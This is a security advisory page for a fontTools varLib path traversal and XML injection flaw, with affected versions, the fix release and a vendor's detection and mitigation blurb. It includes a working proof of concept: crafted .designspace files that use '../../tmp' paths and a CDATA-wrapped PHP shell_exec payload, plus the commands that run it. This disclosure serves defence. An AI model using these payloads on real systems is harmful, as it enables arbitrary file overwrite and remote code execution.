GHSA-768j-98cg-p3fv
MEDIUMfontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
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Description
Summary
The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().
The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).
Overall this allows attackers to:
- Write font files to arbitrary locations on the filesystem
- Overwrite configuration files
- Corrupt application files and dependencies
- Obtain remote code execution
The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.
Affected Lines
fontTools/varLib/__init__.py
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
PoC
- Set up
malicious.designspaceand respectivesource-*.ttffiles in a directory like/Users/<username>/testing/demo/(will impact relative file location within malicious.designspace)
setup.py
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
malicious.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.
- Run the setup.py script to generate
source-*.tfffiles required for the malicious.designspace file.
python3 setup.py
- Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename
fonttools varLib malicious.designspace
- Validate arbitrary file write was performed by looking at path assigned within malicious designspace
cat {{filename_location}}
- After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.
malicious2.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="output.ttf">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
- When the program is run, we can show we control the contents in the new file
fonttools varLib malicious2.designspace -o file123
Here being outputted to a localised area ignoring filename presented in variable-font
- We can look inside file123 to validate user controlled injection
cat file123
to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>
- Executing the file and reading looking at the newly generated file
php file123
ls -la /tmp/MEOW123
we can see that the file was just created showing RCE.
Recommendations
- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fonttools | ≥ 4.33.0&&< 4.60.2 | 4.60.2 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fonttools. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fonttools to 4.60.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-768j-98cg-p3fv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-768j-98cg-p3fv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-768j-98cg-p3fv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-768j-98cg-p3fv in your dependencies?
O3 detects GHSA-768j-98cg-p3fv across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.